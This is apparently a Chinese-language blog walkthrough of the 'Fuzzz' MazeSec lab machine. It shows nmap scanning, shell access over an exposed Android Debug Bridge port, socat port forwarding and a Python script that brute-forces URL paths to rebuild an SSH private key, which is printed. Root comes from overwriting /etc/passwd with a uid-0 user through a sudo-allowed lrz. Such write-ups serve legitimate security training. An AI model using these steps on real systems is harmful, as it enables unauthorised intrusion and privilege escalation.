MazeSec-Fuzzz-Walkthrough
城南花已开 Lv6

信息收集

服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
sudo arp-scan -l
[sudo] password for Pepster:
Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.60.1 00:50:56:c0:00:08 VMware, Inc.
192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc.
192.168.60.194 08:00:27:14:97:ef PCS Systemtechnik GmbH
192.168.60.254 00:50:56:e5:18:c5 VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.020 seconds (126.73 hosts/sec). 4 responded
export ip=192.168.60.194
❯ rustscan -a $ip
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Where '404 Not Found' meets '200 OK'.

[~] The config file is expected to be at "/home/Pepster/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.60.194:22
Open 192.168.60.194:5555
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-25 21:43 CST
Initiating ARP Ping Scan at 21:43
Scanning 192.168.60.194 [1 port]
Completed ARP Ping Scan at 21:43, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:43
Completed Parallel DNS resolution of 1 host. at 21:43, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 21:43
Scanning 192.168.60.194 [2 ports]
Discovered open port 22/tcp on 192.168.60.194
Discovered open port 5555/tcp on 192.168.60.194
Completed SYN Stealth Scan at 21:43, 0.06s elapsed (2 total ports)
Nmap scan report for 192.168.60.194
Host is up, received arp-response (0.00054s latency).
Scanned at 2025-05-25 21:43:00 CST for 0s

PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
5555/tcp open freeciv syn-ack ttl 64
MAC Address: 08:00:27:14:97:EF (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds
Raw packets sent: 3 (116B) | Rcvd: 3 (116B)

只开放5555端口

nmap详细扫描一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ nmap $ip -p5555 -sV -A
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-25 21:45 CST
Nmap scan report for 192.168.60.194
Host is up (0.00062s latency).

PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge (token auth required)
MAC Address: 08:00:27:14:97:EF (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Network Distance: 1 hop
Service Info: OS: Android; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.62 ms 192.168.60.194

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.76 seconds

得知是adb安卓调试接口

adb调试

SDK 平台工具版本说明 | Android Studio | Android Developers

下载适合自己的版本

利用adb连接一下

1
2
3
4
❯ ./adb connect $ip:5555
* daemon not running; starting now at tcp:5037
l* daemon started successfully
connected to 192.168.60.194:5555

用户提权

连接后,利用shell执行命令

一段时间不操作,会自动退出

发现本地端口开放80,并且可以发现用户asahi运行此程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ ./adb shell
/ $ ls
bin home mnt run tmp
boot lib opt sbin usr
dev lost+found proc srv var
etc media root sys
/ $ id
uid=1000(runner) gid=1000(runner) groups=1000(runner)
/ $ netstat -luntp
netstat: showing only processes with your user ID
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:5555 0.0.0.0:* LISTEN 2513/python3
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:80 0.0.0.0:* LISTEN -
tcp 0 0 :::22 :::* LISTEN -
/ $ ps aux |grep 80
1080 root 0:00 [scsi_eh_9]
1180 root 0:00 [scsi_eh_29]
2573 asahi 0:00 /usr/sbin/uwsgi --plugin python3 --http-socket 127.0.0.1:80 --wsgi-file /opt/webapp/app.py --callable app

利用socat端口转发出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/ $ cd /tmp/
/tmp $ ls -al
total 4
drwxrwxrwt 4 root root 80 May 26 2025 .
drwxr-xr-x 21 root root 4096 May 19 08:45 ..
drwxrwxrwt 2 root root 40 May 26 2025 .ICE-unix
drwxrwxrwt 2 root root 40 May 26 2025 .X11-unix
/tmp $ wget 192.168.60.100/socat
Connecting to 192.168.60.100 (192.168.60.100:80)
saving to 'socat'
socat 100% |********************************| 366k 0:00:00 ETA
'socat' saved
/tmp $ chmod +x socat
/tmp $ ./socat TCP-LISTEN:8080,fork TCP4:127.0.0.1:80 &

curl后无任何回显

FUZZ模糊测试

尝试枚举目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
❯ gobuster dir -u "http://$ip:8080" -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,html,zip,txt -b 404,403
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.60.194:8080
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404,403
[+] User Agent: gobuster/3.6
[+] Extensions: txt,php,html,zip
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/line (Status: 200) [Size: 0]
/line2 (Status: 200) [Size: 0]
/line1 (Status: 200) [Size: 0]
Progress: 34849 / 1038220 (3.36%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 34909 / 1038220 (3.36%)
===============================================================
Finished
===============================================================

发现存在line的字样的目录,猜测是每行的内容

依次枚举下,可以发现有5行

1
2
3
4
5
6
7
8
9
10
11
❯ curl $ip:8080/line
❯ curl $ip:8080/line2
❯ curl $ip:8080/line3
❯ curl $ip:8080/line4
❯ curl $ip:8080/line5
❯ curl $ip:8080/line6
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

Gemini给出python脚本

不断拷打给出比较完善的版本,不得不说Gemini还是很强的

跑了好几次,调低速率后才勉强可以跑全

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
import requests
from urllib.parse import quote
import os
import time

# --- 配置参数 ---
# 请确保这里的IP和端口与你的实际目标一致!
base_url_prefix = "http://192.168.60.195:8080" # 只包含协议、IP和端口
initial_line_number = 1 # 起始line编号
max_line_number = 5 # 结束line编号
session = requests.Session()
session.timeout = 5 # 增加超时时间,减少因网络延迟造成的错误
# 不验证SSL证书,如果目标是HTTP则无影响,HTTPS可能需要
session.verify = False
# 允许重定向
session.allow_redirects = True

output_filename = "final_fuzz_results.txt" # 最终结果保存到这一个文件

# 用于存储每个 line 编号的当前最长路径
# 例如: {1: "b3BlbnNzaC1rZXk=", 2: "some_other_long_string"}
final_line_paths = {}

# Base64字符集(字母数字 + '+' + '/' + '=')
base64_chars = (
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789"
"+/="
)

def brute_force_url(prefix_path, current_line):
"""
尝试在给定前缀路径后追加一个Base64字符,并检查响应。
prefix_path 例如: "/line1/" 或 "/line1/b3BlbnNzaC1rZXk"
"""
found_chars = []
for char in base64_chars:
# 对字符进行URL编码:'/ ' 和 '+' 应该被编码
encoded_char = quote(char, safe='')

# 组合完整的URL用于请求
full_request_url = f"{base_url_prefix}{prefix_path}{encoded_char}"
time.sleep(0.01)
try:
response = session.get(full_request_url)
if response.status_code == 200:
# 只有成功时才打印
print(f"[+] Found valid char: '{char}' | URL: {full_request_url}")
found_chars.append(char)

# 构建完整的路径部分,例如:/line1/b3BlbnNzaC1rZXk
full_path_segment_with_line = f"{prefix_path}{encoded_char}"

# 提取 lineX/ 后面的字符串
# 找到 "/lineN/" 中的第二个 '/' 的索引 + 1,这是字符串的起始位置
# 例如,对于 "/line1/b" -> prefix_path="/line1/", len("/line1/") = 7
# find('/', 1) 找到第二个 '/' 的索引 6
# 6 + 1 = 7,所以从索引 7 开始切片
line_prefix_end_index = prefix_path.find('/', 1) + 1
extracted_string = full_path_segment_with_line[line_prefix_end_index:]

# 更新当前 line 编号的最长路径
# 只有当新找到的路径比当前已知的路径更长时才更新
if current_line not in final_line_paths or \
len(extracted_string) > len(final_line_paths[current_line]):
final_line_paths[current_line] = extracted_string

# else:
# 不打印其他状态码,只关注200
except requests.exceptions.RequestException:
# 抑制所有错误信息,不打印
pass
return found_chars

def recursive_brute_force(prefix_path, current_line):
"""
递归地进行URL爆破。
prefix_path 例如: "/line1/" 或 "/line1/b3BlbnNzaC1rZXk"
"""
# 尝试爆破当前路径
found_chars = brute_force_url(prefix_path, current_line)

# 如果没有找到任何字符,则终止当前分支的递归
if not found_chars:
return

# 对找到的每个字符进行递归
for char in found_chars:
# 确保递归时传递的路径也是 URL 编码的
encoded_char = quote(char, safe='')
new_path = f"{prefix_path}{encoded_char}"
# print(f"[*] Recursing into: {new_path}") # 抑制此行,只打印成功发现
recursive_brute_force(new_path, current_line)

# --- 主程序逻辑 ---

# 遍历所有 line 编号
for line_num in range(initial_line_number, max_line_number + 1):
# 构建初始路径,例如:/line1/, /line2/, ...
current_initial_path = f"/line{line_num}/"
print(f"\n[*] Starting brute force for line {line_num} on {base_url_prefix}{current_initial_path}")

# 第一次调用,从 /lineX/ 开始,它会尝试追加字符
recursive_brute_force(current_initial_path, line_num)

# --- 扫描结束后,将所有结果写入文件 ---
print(f"\n[*] All scans completed. Writing final results to {output_filename}...")

with open(output_filename, 'w') as f:
# 确保按照 line 编号的顺序写入
for line_num in sorted(final_line_paths.keys()):
f.write(f"{final_line_paths[line_num]}\n")

print(f"[*] Final results saved to {output_filename}")

查看结果

1
2
3
4
5
6
cat final_fuzz_results.txt
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACArnEFFrjDI6rYt5GmUDxMvSeX3pcn0GGBfgo1EQtXpgwAAAJDS3%2B5f0t%2Fu
XwAAAAtzc2gtZWQyNTUxOQAAACArnEFFrjDI6rYt5GmUDxMvSeX3pcn0GGBfgo1EQtXpgw
AAAEBCjeRitoZJIm1c4i0VD2Muw5nqgb7zC13vMaxS%2Fla%2BvSucQUWuMMjqti3kaZQPEy9J
5felyfQYYF%2BCjURC1emDAAAACWFzYWhpQHBoaQECAwQ%3D

url解码一下

image

得到最终的私钥内容,手动加上文件头内容和尾部内容

1
2
3
4
5
6
7
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACArnEFFrjDI6rYt5GmUDxMvSeX3pcn0GGBfgo1EQtXpgwAAAJDS3+5f0t/u
XwAAAAtzc2gtZWQyNTUxOQAAACArnEFFrjDI6rYt5GmUDxMvSeX3pcn0GGBfgo1EQtXpgw
AAAEBCjeRitoZJIm1c4i0VD2Muw5nqgb7zC13vMaxS/la+vSucQUWuMMjqti3kaZQPEy9J
5felyfQYYF+CjURC1emDAAAACWFzYWhpQHBoaQECAwQ=
-----END OPENSSH PRIVATE KEY-----

校验一下格式是否正确,内容是否完整

可以得到公钥内容,说明正确

1
2
❯ ssh-keygen -y -f id_rsa
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICucQUWuMMjqti3kaZQPEy9J5felyfQYYF+CjURC1emD asahi@phi

Root提权

ssh连接一下

1
2
3
4
❯ ssh asahi@$ip -i id2

fuzzz:~$ cat user.flag
flag{da39a3ee5e6b4b0d3255bfef95601890afd80709}

发现用户拥有sudo权限

可以执行lrz程序

1
2
3
4
5
6
7
8
9
10
fuzzz:~$ sudo -l
Matching Defaults entries for asahi on fuzzz:
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for asahi:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User asahi may run the following commands on fuzzz:
(ALL) NOPASSWD: /usr/local/bin/lrz

lrz 实际上是 lrzsz 工具集中的一个组件,它主要用于通过 串行端口(TTY)伪终端(Pseudo-TTY) 在本地和远程系统之间传输文件。这意味着它通常在 SSH 会话、串口连接、或某些终端模拟器中与 lsz(用于发送文件)和 lrz(用于接收文件)配合使用。

通过查看help可以得知利用-y参数可以覆盖文件

那就可以将/etc/passwd拷贝一份,修改一下通过lsz进行发送文件

1
2
fuzzz:~$ cp /etc/passwd .
fuzzz:~$ echo 'primary:zSZ7Whrr8hgwY:0:0::/root:/bin/sh'>>passwd

切换到etc目录,这里我一直就卡住

1
2
3
4
5
6
7
8
fuzzz:~$ cd /etc/
fuzzz:/etc$ sudo /usr/local/bin/lrz -y
lrz waiting to receive.**B0100000023be50
-----------------------
# 另一个终端执行
fuzzz:~$ lsz passwd
**B00000000000000

查了一下,发现Windows Terminal这个终端竟然不支持Zmodem 协议

还好之前装的Tabby没删

哦,原来不是利用lsz发给lrz正在等待接收文件

而是你直接lrz让你选择本地文件发送过去

image

1
2
3
4
5
6
7
fuzzz:/etc$ su primary
Password:
/etc # cd ~
~ # id
uid=0(root) gid=0(root) groups=0(root)
~ # cat root.flag
flag{46a0e055d5db8d82eee6e7eb3ee3ccf64be3fca2}
总字数 633.1k
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务